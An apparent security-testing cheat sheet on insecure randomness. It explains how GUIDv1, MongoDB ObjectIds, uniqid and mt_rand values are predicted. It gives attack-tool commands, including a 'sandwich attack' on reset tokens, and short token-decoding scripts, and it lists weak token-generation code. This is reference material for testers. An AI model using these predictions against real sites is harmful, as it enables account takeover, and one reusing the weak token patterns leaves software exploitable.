# Insecure Randomness ## Summary * [GUID / UUID](#guid--uuid) * [GUID Versions](#guid-versions) * [Mongo ObjectId](#mongo-objectid) * [Uniqid](#uniqid) * [mt_rand](#mt_rand) * [Other](#other) * [References](#references) ## GUID / UUID A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times. ### GUID Versions Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx` The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself. | Version | Notes | |----------|--------| | 0 | Only `00000000-0000-0000-0000-000000000000` | | 1 | based on time, or clock sequence | | 2 | reserved in the RFC 4122, but omitted in many implementations | | 3 | based on a MD5 hash | | 4 | randomly generated | | 5 | based on a SHA1 hash | ### Tools * [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs ```ps1 $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00 UUID version: 1 UUID time: 2022-04-13 08:06:13.202186 UUID timestamp: 138691299732021860 UUID node: 91754721024 UUID MAC address: 00:15:5d:01:ef:00 UUID clock sequence: 2099 $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000 ``` ## Mongo ObjectId Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of: * **Timestamp** (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970). * **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine. * **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process. * **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence. Token example * `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39` ### Tools * [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds ```ps1 ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37 5ae9bac82c144b9def01ec39 5ae9bacf2c144b9def01ec3a 5ae9bada2c144b9def01ec3b ``` * Python script to recover the `timestamp`, `process` and `counter` ```py def MongoDB_ObjectID(timestamp, process, counter): return "%08x%10x%06x" % ( timestamp, process, counter, ) def reverse_MongoDB_ObjectID(token): timestamp = int(token[0:8], 16) process = int(token[8:18], 16) counter = int(token[18:24], 16) return timestamp, process, counter def check(token): (timestamp, process, counter) = reverse_MongoDB_ObjectID(token) return token == MongoDB_ObjectID(timestamp, process, counter) tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"] for token in tokens: (timestamp, process, counter) = reverse_MongoDB_ObjectID(token) print(f"{token}: {timestamp} - {process} - {counter}") ``` ## Uniqid Token derived using `uniqid` are based on timestamp and they can be reversed. * [Riamse/python-uniqid](https://github.com/Riamse/python-uniqid/blob/master/uniqid.py) is based on a timestamp * [php/uniqid](https://github.com/php/php-src/blob/master/ext/standard/uniqid.c) Token examples * uniqid: `6659cea087cd6`, `6659cea087cea` * sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4` ### Tools ```py import math import datetime def uniqid(timestamp: float) -> str: sec = math.floor(timestamp) usec = round(1000000 * (timestamp - sec)) return "%8x%05x" % (sec, usec) def reverse_uniqid(value: str) -> float: sec = int(value[:8], 16) usec = int(value[8:], 16) return float(f"{sec}.{usec}") tokens = ["6659cea087cd6" , "6659cea087cea"] for token in tokens: t = float(reverse_uniqid(token)) d = datetime.datetime.fromtimestamp(t) print(f"{token} - {t} => {d}") ``` ## mt_rand Breaking mt_rand() with two output values and no bruteforce. * [ambionics/mt_rand-reverse](https://github.com/ambionics/mt_rand-reverse) - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce. ```ps1 ./display_mt_rand.php 12345678 123 712530069 674417379 ./reverse_mt_rand.py 712530069 674417379 123 1 ``` ## Other Other bad ideas that are sometimes shipped into production. * `$token = md5($emailId).rand(10,9999);` * `$token = md5(time()+123456789 % rand(4000, 55000000));` Generic identification and sandwitch attack: * [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources ```ps1 reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7" reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid" ``` ## References - [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust) - [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/) - [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)* - [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)* - [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html) - [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01) - [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)